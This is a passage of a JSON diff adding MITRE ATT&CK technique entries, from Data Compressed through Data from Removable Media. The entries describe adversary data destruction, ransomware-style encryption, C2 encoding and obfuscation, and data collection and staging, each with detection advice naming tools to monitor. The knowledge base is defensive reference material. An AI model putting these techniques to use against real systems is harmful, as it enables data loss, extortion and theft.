Signatures)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": false, + "created": "2017-05-31T21:30:19.338Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "external_references": [ + { + "external_id": "T1002", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1002" + }, + { + "source_name": "Wikipedia File Header Signatures", + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures" + } + ], + "modified": "2019-07-17T18:24:51.771Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "name": "Data Destruction", + "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)", + "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\Windows\\System32\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-14T18:47:17.701Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1485", + "url": "https://attack.mitre.org/techniques/T1485" + }, + { + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "source_name": "Symantec Shamoon 2012", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + }, + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "source_name": "Kaspersky StoneDrill 2017", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + }, + { + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "source_name": "Unit 42 Shamoon3 2018", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + }, + { + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-07-19T14:34:28.595Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Data Encoding", + "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", + "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:31:43.540Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1132", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1132" + }, + { + "source_name": "Wikipedia Binary-to-text Encoding", + "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding" + }, + { + "source_name": "Wikipedia Character Encoding", + "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.", + "url": "https://en.wikipedia.org/wiki/Character_encoding" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-06-14T17:35:11.182Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "name": "Data Encrypted", + "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)", + "id": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": false, + "created": "2017-05-31T21:30:30.260Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "external_references": [ + { + "external_id": "T1022", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1022" + }, + { + "description": "Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.", + "source_name": "Zhang 2013", + "url": "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf" + }, + { + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", + "source_name": "Wikipedia File Header Signatures", + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "Kernel drivers", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "name": "Data Encrypted for Impact", + "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)", + "id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Availability" + ], + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-15T13:59:30.390Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1486", + "url": "https://attack.mitre.org/techniques/T1486" + }, + { + "description": "US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.", + "source_name": "US-CERT Ransomware 2016", + "url": "https://www.us-cert.gov/ncas/alerts/TA16-091A" + }, + { + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "source_name": "FireEye WannaCry 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "source_name": "US-CERT NotPetya 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + }, + { + "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.", + "source_name": "US-CERT SamSam 2018", + "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A" + } + ], + "modified": "2019-07-19T14:35:12.349Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "name": "Data Obfuscation", + "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.", + "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:18.931Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1001", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1001" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-17T18:54:32.478Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Data Staged", + "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022).\n\nInteractive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.", + "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian", + "Shane Tully, @securitygypsy" + ], + "created": "2017-05-31T21:30:58.938Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1074", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1074" + } + ], + "modified": "2019-10-09T21:09:00.992Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "name": "Data Transfer Size Limits", + "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.", + "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:34.523Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "external_references": [ + { + "external_id": "T1030", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1030" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-06-24T12:03:02.387Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Stackdriver logs", + "Azure activity logs", + "AWS CloudTrail logs" + ], + "name": "Data from Cloud Storage Object", + "description": "Adversaries may access data objects from improperly secured cloud storage.\n\nMany cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)\n\nMisconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.", + "id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "x_mitre_platforms": [ + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Netskope", + "Praetorian" + ], + "created": "2019-08-30T18:07:27.741Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1530", + "url": "https://attack.mitre.org/techniques/T1530" + }, + { + "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.", + "source_name": "Amazon S3 Security, 2019", + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/" + }, + { + "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.", + "source_name": "Microsoft Azure Storage Security, 2019", + "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide" + }, + { + "description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.", + "source_name": "Google Cloud Storage Best Practices, 2019", + "url": "https://cloud.google.com/storage/docs/best-practices" + }, + { + "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.", + "source_name": "Trend Micro S3 Exposed PII, 2017", + "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia" + }, + { + "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019.", + "source_name": "Wired Magecart S3 Buckets, 2019", + "url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/" + }, + { + "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.", + "source_name": "HIPAA Journal S3 Breach, 2017", + "url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/" + } + ], + "modified": "2019-10-22T20:02:00.249Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Azure activity logs", + "AWS CloudTrail logs", + "Stackdriver logs", + "OAuth audit logs", + "Application logs", + "Authentication logs", + "Data loss prevention", + "Third-party application logs" + ], + "name": "Data from Information Repositories", + "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\n\nAdversaries may also collect information from shared storage repositories hosted on cloud infrastructure or in software-as-a-service (SaaS) applications, as storage is one of the more fundamental requirements for cloud services and systems.\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nSpecific common information repositories include:\n\n### Microsoft SharePoint\nFound in many enterprise networks and often used to store and share significant amounts of documentation.\n\n### Atlassian Confluence\nOften found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.", + "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "SaaS", + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian", + "Milos Stojadinovic" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1213", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213" + }, + { + "source_name": "Microsoft SharePoint Logging", + "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", + "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2" + }, + { + "source_name": "Atlassian Confluence Logging", + "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", + "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" + } + ], + "modified": "2019-10-07T19:59:25.985Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "type": "attack-pattern", + "name": "Data from Local System", + "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", + "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "GCP", + "AWS", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "Privileges to access certain files and directories" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2017-05-31T21:30:20.537Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1005", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1005" + } + ], + "modified": "2019-10-04T22:05:50.580Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_system_requirements": [ + "Privileges to access network shared drive" + ], + "name": "Data from Network Shared Drive", + "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.", + "id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:41.022Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1039", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1039" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_system_requirements": [ + "Privileges to access removable media drive and files" + ], + "name": "Data from Removable Media", + "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", + "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:31.584Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1025", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1025" + } + ], + "modified": 